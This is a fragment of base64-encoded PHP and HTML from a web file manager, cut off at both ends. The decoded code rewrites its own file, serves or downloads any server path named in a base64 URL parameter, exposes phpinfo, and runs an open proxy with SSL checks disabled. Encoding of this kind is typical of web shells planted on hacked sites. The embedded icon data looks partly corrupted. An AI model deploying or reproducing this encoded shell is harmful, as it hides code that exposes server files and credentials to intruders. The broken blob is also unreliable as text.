Z190cGwuJ19uYW1lJ10pKSB7XHJcblx0XHRcdCRmbV9waHAgPSBqc29uX2VuY29kZShhcnJheV9jb21iaW5lKCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSwkX1BPU1RbJGxuZ190cGwuJ192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTtcclxuXHRcdH0gZWxzZWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXSkpIHtcclxuXHRcdFx0JGZtX3BocCA9IGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKSthcnJheSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddPT4kX1BPU1RbJGxuZ190cGwuJ19uZXdfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7XHJcblx0XHR9XHJcblx0XHRpZiAoIWVtcHR5KCRmbV9waHApKSB7XHJcblx0XHRcdCRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7XHJcblx0XHRcdCRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcXHNdP1xcPVtcXHNdP1xcJ1xce1xcXCIoLio/KVxcXCJcXH1cXCc7IycsICRmZ2MsICRtYXRjaGVzKTtcclxuXHRcdFx0aWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHtcclxuXHRcdFx0XHQkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTtcclxuXHRcdFx0XHQkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7XCInLiRtYXRjaGVzWzFdLidcIn0nLCRmbV9waHAsJGZnYyk7XHJcblx0XHRcdFx0aWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHtcclxuXHRcdFx0XHRcdCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7XHJcblx0XHRcdFx0XHQkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTtcclxuXHRcdFx0XHR9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdFx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7XHJcblx0XHRcdH1cdFxyXG5cdFx0fSBlbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcblx0fVxyXG59XHJcblxyXG5cL1wvIEp1c3Qgc2hvdyBpbWFnZVxyXG5pZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkge1xyXG5cdCRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTtcclxuXHRpZiAoJGluZm89Z2V0aW1hZ2VzaXplKCRmaWxlKSl7XHJcblx0XHRzd2l0Y2ggICgkaW5mb1syXSl7XHRcL1wvMT1HSUYsIDI9SlBHLCAzPVBORywgND1TV0YsIDU9UFNELCA2PUJNUFxyXG5cdFx0XHRjYXNlIDE6ICRleHQ9J2dpZic7IGJyZWFrO1xyXG5cdFx0XHRjYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhaztcclxuXHRcdFx0Y2FzZSAzOiAkZXh0PSdwbmcnOyBicmVhaztcclxuXHRcdFx0Y2FzZSA2OiAkZXh0PSdibXAnOyBicmVhaztcclxuXHRcdFx0ZGVmYXVsdDogZGllKCk7XHJcblx0XHR9XHJcblx0XHRoZWFkZXIoXCJDb250ZW50LXR5cGU6IGltYWdlXC8kZXh0XCIpO1xyXG5cdFx0ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7XHJcblx0XHRkaWUoKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC8gSnVzdCBkb3dubG9hZCBmaWxlXHJcbmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHtcclxuXHQkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTtcclxuXHRmbV9kb3dubG9hZCgkZmlsZSk7XHRcclxufVxyXG5cclxuXC9cLyBKdXN0IHNob3cgaW5mb1xyXG5pZiAoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHtcclxuXHRwaHBpbmZvKCk7IFxyXG5cdGRpZSgpO1xyXG59XHJcblxyXG5cL1wvIE1pbmkgcHJveHksIG1hbnkgYnVncyFcclxuaWYgKGlzc2V0KCRfR0VUWydwcm94eSddKSAmJiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkpIHtcclxuXHQkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT91cmxkZWNvZGUoJF9HRVRbJ3VybCddKTonJztcclxuXHQkcHJveHlfZm9ybSA9ICdcclxuPGRpdiBzdHlsZT1cInBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MTAwNTAwO2JhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlNGY1ZmMgMCUsI2JmZThmOSA1MCUsIzlmZDhlZiA1MSUsIzJhYjBlZCAxMDAlKTtcIj5cclxuXHQ8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJHRVRcIj5cclxuXHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwcm94eVwiIHZhbHVlPVwidHJ1ZVwiPlxyXG5cdCcuZm1faG9tZSgpLicgPGEgaHJlZj1cIicuJHVybC4nXCIgdGFyZ2V0PVwiX2JsYW5rXCI+VXJsPFwvYT46IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJ1cmxcIiB2YWx1ZT1cIicuJHVybC4nXCIgc2l6ZT1cIjU1XCI+XHJcblx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIicuX18oJ1Nob3cnKS4nXCIgY2xhc3M9XCJmbV9pbnB1dFwiPlxyXG5cdDxcL2Zvcm0+XHJcbjxcL2Rpdj5cclxuJztcclxuXHRpZiAoJHVybCkge1xyXG5cdFx0JGNoID0gY3VybF9pbml0KCR1cmwpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0RlbjF4eHggdGVzdCBwcm94eScpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTtcclxuXHRcdGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTtcclxuXHRcdGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwwKTtcclxuXHRcdGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpO1xyXG5cdFx0JHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpO1xyXG5cdFx0Y3VybF9jbG9zZSgkY2gpO1xyXG5cdFx0XC9cLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bXCJcXCddW2h0dHA6XC9cL10/KFteOl0qKVtcIlxcJ10jVWknLCAnXFxcXDE9XCInLiR1cmwuJ1wvXFxcXDJcIicsICRyZXN1bHQpO1xyXG5cdFx0JHJlc3VsdCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIyhocmVmfHNyYyk9W1wiXFwnXVtodHRwOlwvXC9dPyhbXjpdKilbXCJcXCddI1VpJywgJ2ZtX3VybF9wcm94eScsICRyZXN1bHQpO1xyXG5cdFx0JHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnJSg8Ym9keS4qPz4pJWknLCAnJDEnLic8c3R5bGU+Jy5mbV9ob21lX3N0eWxlKCkuJzxcL3N0eWxlPicuJHByb3h5X2Zvcm0sICRyZXN1bHQpO1xyXG5cdFx0ZWNobyAkcmVzdWx0O1xyXG5cdFx0ZGllKCk7XHJcblx0fSBcclxufVxyXG4/PlxyXG48IWRvY3R5cGUgaHRtbD5cclxuPGh0bWw+XHJcbjxoZWFkPiAgICAgXHJcblx0PG1ldGEgY2hhcnNldD1cInV0Zi04XCIgXC8+XHJcblx0PG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xXCIgXC8+XHJcbiAgICA8dGl0bGU+PD89X18oJycpPz48XC90aXRsZT5cclxuPHN0eWxlPlxyXG5ib2R5IHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0d2hpdGU7XHJcblx0Zm9udC1mYW1pbHk6XHRcdFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7XHJcblx0Zm9udC1zaXplOlx0XHRcdDhwdDtcclxuXHRtYXJnaW46XHRcdFx0XHQwcHg7XHJcbn1cclxuXHJcbmE6bGluaywgYTphY3RpdmUsIGE6dmlzaXRlZCB7IGNvbG9yOiAjMDAwMDAwOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH1cclxuYTpob3ZlciB7IGNvbG9yOiAjREQ2OTAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfVxyXG5hLnRoOmxpbmsgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9XHJcbmEudGg6YWN0aXZlIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfVxyXG5hLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9XHJcbmEudGg6aG92ZXIgeyAgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9XHJcblxyXG50YWJsZS5iZyB7XHJcblx0YmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNlxyXG59XHJcblxyXG50aCwgdGQgeyBcclxuXHRmb250Olx0bm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmO1xyXG5cdHBhZGRpbmc6IDNweDtcclxufVxyXG5cclxudGhcdHtcclxuXHRoZWlnaHQ6XHRcdFx0XHQyNXB4O1xyXG5cdGJhY2tncm91bmQtY29sb3I6XHQjMjIxMDNmO1xyXG5cdGNvbG9yOlx0XHRcdFx0IzAwZmYyYjtcclxuXHRmb250LXdlaWdodDpcdFx0Ym9sZDtcclxuXHRmb250LXNpemU6XHRcdFx0MTFweDtcclxufVxyXG5cclxuLnJvdzEge1xyXG5cdGJhY2tncm91bmQtY29sb3I6XHQjRUZFRkVGO1xyXG59XHJcblxyXG4ucm93MiB7XHJcblx0YmFja2dyb3VuZC1jb2xvcjpcdCNERUUzRTc7XHJcbn1cclxuXHJcbi5yb3czIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0I0QxRDdEQztcclxuXHRwYWRkaW5nOiA1cHg7XHJcbn1cclxuXHJcbnRyLnJvdzE6aG92ZXIge1xyXG5cdGJhY2tncm91bmQtY29sb3I6XHQjRjNGQ0ZDO1xyXG59XHJcblxyXG50ci5yb3cyOmhvdmVyIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0I0YwRjZGNjtcclxufVxyXG5cclxuLndob2xlIHtcclxuXHR3aWR0aDogMTAwJTtcclxufVxyXG5cclxuLmFsbCB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO31cclxuXHJcbnRleHRhcmVhIHtcclxuXHRmb250OiA5cHQgJ0NvdXJpZXIgTmV3JywgY291cmllcjtcclxuXHRsaW5lLWhlaWdodDogMTI1JTtcclxuXHRwYWRkaW5nOiA1cHg7XHJcbn1cclxuXHJcbi50ZXh0YXJlYV9pbnB1dCB7XHJcblx0aGVpZ2h0OiAxZW07XHJcbn1cclxuXHJcbi50ZXh0YXJlYV9pbnB1dDpmb2N1cyB7XHJcblx0aGVpZ2h0OiBhdXRvO1xyXG59XHJcblxyXG5pbnB1dFt0eXBlPXN1Ym1pdF17XHJcblx0YmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7XHJcblx0Y3Vyc29yOiBwb2ludGVyO1xyXG59XHJcblxyXG4uZm9sZGVyIHtcclxuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2VcL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjhcLzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk5cL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6XC9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SFwvd1wvcVFwbGNBWUNFQWNCMGtUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCTFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkFcL2c4OHdBQUtDUkZSSGdnXC9QOWVNNE9yczdPTm82MkRsOHQ2cjhHXC95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdFwvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVlwvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsXC9BVlwvMXMrWDQ4XC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUhcL0xjTFwvXC93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTNcLys4XC9cL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3pcL0hDQUFBUktDQktyQkJHXC9UQkdDekFCaHpCQmR6QkNcL3hnTm9SQ0pNVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQk5NQlJhSWFUY0E0dXdsVzREajF3RFwvcGhDSjdCS0x5QkNRUkJ5QWdUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWUVkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUVwvcEg1WlwvWWtHV2NOTXcwOURwRkdnc1ZcL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVlcL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0XC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TFwvMVVcL1czNnBcL1ZIREZnR3N3d2tCdHNNemhnOHhUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQjB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk5cL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK0xwc2J4dDNJdmVSS2RQVnhYZUY2MHZXZG03T2J3dTJvMjZcL3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFXC9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVlwvTU44QzN5TGZMVDhOdm5sK0YzME5cL0lcLzlrXC8zclwvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dFwvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCXC9STnRHSTJFTmNLaDVPOGtncVRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYVwvelluS09aYXJuaXZON2N5enl0dVFONXp2blwvXC90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPXC9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozXC9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0FcLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrK1wvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKM1wvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCKys2RUhUaDBrWFwvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284XC9wUFRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJMMTU4UmJcLzF0V2VPVDNkdmZONmJcL2ZGOVwvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1JcL2NHaFlQUFwvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUZcLzZpXC9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1T1wvYlh5bFwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG9cLzJqNXNmVlQwS2Y3a3htVGtcLzhFQTVqelwvR016TGRzQUFBQUdZa3RIUkFEXC9BUDhBXC82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJBQUJ5RWxFUVZRNHk4V1RUMnNVUVJERmY5WFRNK1BHSUJIZEVFUVI4ZUFmZ2dhUEh2VHV5VStpK0EzOEFGNDhlZkpiS0I1ekUwSU1BVmNDaVJoUUU4Z21tMTExczltWjNabCtIbWF5NXFBWThHQkRkVFdQZW85SFZSZjg3Mk85eFZ2M1wvSm5yQ3lnSVU0MDZLXC9xYnJiUDNWeGJcL3FqRDgrT1NOdEMrVlg2UmlVeXJXcFhKRDJhZW5meVIzWHM5TjNoNXJGSXc2RUFZUXhzQUlLTUZ4K2NmU2cwZG1GaytxSmFReUd1MHR2d1RCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJEUFo3NjJ2UWZWVUpoSUtRN1REYVc4VGlhY0NPMmxObmQ2eGpsWXZwbTQ5ZjVGdU5aK1hCeHBvbjVCVGZXcVN6TjRBRUxBRkxxK3dTYklMRmRYZ2d1b2liVWo3K3Z1MFJLRzlqZVlIazZ1SUVYSW9zUVpaaU5XWXVRU1FRVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQlZUeURXd3NnK0RWWlI5WU5UQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCYW1lbnlRN2F5NzRzSTN6K0ZXV0g5YWlPcmxDRkJPYXFxTG9JeWlqdytZV0hXOXUrQ0tiR3NJYzBcL3MyWDBiRnBITU5VRXVLWlZRQ1wvMngwbU0wMFA4aWRmQUFldHoyRVR3RzVmYTg3UG5vc3VoWUJPeW84Y3R0TUpXKzgzZGx2XC90SWwzRitiNENZeXAyVHh3MlZVd0FBQUFBRWxGVGtTdVFtQ0NcIik7XHJcbn1cclxuXHJcbi5maWxlIHtcclxuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2VcL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjhcLzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk5cL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6XC9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SFwvd1wvcVFwbGNBWUNFQWNCMGtUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCTFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkFcL2c4OHdBQUtDUkZSSGdnXC9QOWVNNE9yczdPTm82MkRsOHQ2cjhHXC95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdFwvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVlwvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsXC9BVlwvMXMrWDQ4XC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUhcL0xjTFwvXC93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTNcLys4XC9cL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3pcL0hDQUFBUktDQktyQkJHXC9UQkdDekFCaHpCQmR6QkNcL3hnTm9SQ0pNVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQk5NQlJhSWFUY0E0dXdsVzREajF3RFwvcGhDSjdCS0x5QkNRUkJ5QWdUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWUVkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUVwvcEg1WlwvWWtHV2NOTXcwOURwRkdnc1ZcL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVlcL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0XC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TFwvMVVcL1czNnBcL1ZIREZnR3N3d2tCdHNNemhnOHhUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQjB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuW